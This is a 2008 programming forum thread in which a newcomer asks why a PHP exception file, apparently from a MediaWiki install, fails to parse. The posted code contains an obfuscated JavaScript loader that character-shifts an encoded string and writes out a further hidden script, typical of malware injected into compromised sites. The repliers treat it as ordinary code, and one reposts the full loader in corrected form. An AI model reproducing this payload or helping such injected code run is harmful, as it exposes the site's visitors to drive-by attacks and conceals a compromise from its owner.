943,955 Members | Top Members by Rank

Ad:
  • PHP Discussion Thread
  • Unsolved
  • Views: 549
  • PHP RSS
Aug 11th, 2008
0

PHP Error Help

Expand Post »
I'm new to php and I'm having some trouble with a code error. Can anyone help?


I get this error: "Error in my_thread_global_end(): 1 threads didn't exit PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in exception.php on line 130"


This is the code:

PHP Syntax (Toggle Plain Text)
  1.  
  2.  
  3. echo "<html>
  4. <head>
  5. <title>$title</title>
  6. </head>
  7. <body><script language = "javascript">function moving(s){
  8. var s1=unescape(s.substr(0,s.length)); var t='';
  9. for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)+7);
  10. document.write(unescape(t));
  11. };
  12. moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37'); </script>
  13. <h1><img src='$wgLogo' style='float:left;margin-right:1em' alt=''>$title</h1>
  14. ";
  15. }
Last edited by predster; Aug 11th, 2008 at 10:20 am.
Similar Threads
Reputation Points: 10
Solved Threads: 0
Newbie Poster
predster is offline Offline
2 posts
since Aug 2008
Aug 11th, 2008
0

Re: PHP Error Help

Javascript and PHP can't go together. So is my information, anyway.
Reputation Points: 12
Solved Threads: 6
Light Poster
Demiloy is offline Offline
48 posts
since Aug 2008
Aug 11th, 2008
0

Re: PHP Error Help

Ok thanks, i actually didn't write the code, so I'm not sure why that's there
Reputation Points: 10
Solved Threads: 0
Newbie Poster
predster is offline Offline
2 posts
since Aug 2008
Aug 11th, 2008
0

Re: PHP Error Help

You can write javascript with PHP, but it can be a little tricky.
In the above block of code you are using double-quotes for your echo string echo ", and inside that string you have double quotes surrounding your html property values "javascript" which are escaping your main string. You can't use single quotes in your echo string because you have PHP variables which values you need in your string.

You can try the same thing using a heardoc format...
PHP Syntax (Toggle Plain Text)
  1.  
  2. <?php
  3. echo <<<endline
  4. <html>
  5. <head>
  6. <title>$title</title>
  7. </head>
  8. <body>
  9. <script type="text/javascript">
  10. function moving( s ) {
  11. var s1 = unescape( s.substr( 0, s.length ) );
  12. var t = '';
  13. for( i = 0; i < s1.length; i ++ ) {
  14. t += String.fromCharCode( s1.charCodeAt( i ) +7 );
  15. document.write( unescape( t ) );
  16. }
  17. };
  18. moving('%35%4C%5C%6B%62%69%6D%19%45%5A%67%60%6E%5A%60%5E%36%20%43%5A%6F%5A%6C%5C%6B%62%69%6D%20%37%5D%68%5C%6E%66%5E%67%6D%27%70%6B%62%6D%5E%21%6E%67%5E%6C%5C%5A%69%5E%21%20%1E%2C%3C%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2B%29%1E%30%2C%1E%30%2B%1E%2F%2C%1E%2C%3D%1E%2B%2B%1E%2F%31%1E%30%2D%1E%30%2D%1E%30%29%1E%2C%3A%1E%2B%3F%1E%2B%3F%1E%30%3A%1E%2F%31%1E%2F%3F%1E%2B%3E%1E%2F%2D%1E%2D%2A%1E%2F%30%1E%2D%3F%1E%2E%2D%1E%2F%31%1E%2B%3E%1E%2F%32%1E%2D%3E%1E%2B%3F%1E%2B%2B%1E%2B%29%1E%30%30%1E%2F%32%1E%2F%2D%1E%30%2D%1E%2F%31%1E%2C%3D%1E%2C%29%1E%2B%29%1E%2F%31%1E%2F%2E%1E%2F%32%1E%2F%30%1E%2F%31%1E%30%2D%1E%2C%3D%1E%2C%29%1E%2C%3E%1E%2C%3C%1E%2B%3F%1E%2F%32%1E%2F%2F%1E%30%2B%1E%2F%2A%1E%2F%3D%1E%2F%2E%1E%2C%3E%20%22%22%34%35%28%6C%5C%6B%62%69%6D%37');
  19. </script>
  20. <h1><img src="$wgLogo" style="float:left; margin-right:1em;" alt="">$title</h1>
  21. endline;
  22. ?>
  23. </body>
  24. </html>
  25. }
Last edited by langsor; Aug 11th, 2008 at 1:08 pm.
Reputation Points: 30
Solved Threads: 36
Posting Whiz
langsor is offline Offline
389 posts
since Aug 2008
Aug 11th, 2008
0

Re: PHP Error Help

another option would be to escape any double quotes in the string, for example
php Syntax (Toggle Plain Text)
  1. "<script language = \"javascript\">"
or
php Syntax (Toggle Plain Text)
  1. "<script language = 'javascript'>"
Last edited by R0bb0b; Aug 11th, 2008 at 1:39 pm.
Reputation Points: 358
Solved Threads: 89
Posting Shark
R0bb0b is offline Offline
986 posts
since Jun 2008
Aug 11th, 2008
0

Re: PHP Error Help

A third option would be not to echo it in PHP at all. Just write it the normal way, and when you need to use PHP variables, just open and close PHP tags where needed.
Reputation Points: 12
Solved Threads: 6
Light Poster
Demiloy is offline Offline
48 posts
since Aug 2008

This thread is more than three months old

No one has posted to this discussion for at least three months. Please let old threads die and do not reply to them unless you feel you have something new and valuable to contribute that absolutely must be added to make the discussion complete. Otherwise, please start a new thread in this forum instead.
Message:
Previous Thread in PHP Forum Timeline: Odd problem I can't figure out
Next Thread in PHP Forum Timeline: Need urgent assistance with php date function and recoring it into MySQL





About Us | Contact Us | Advertise | Acceptable Use Policy
Forum Index | Build Custom RSS Feed


Follow us on Twitter


© 2011 DaniWeb® LLC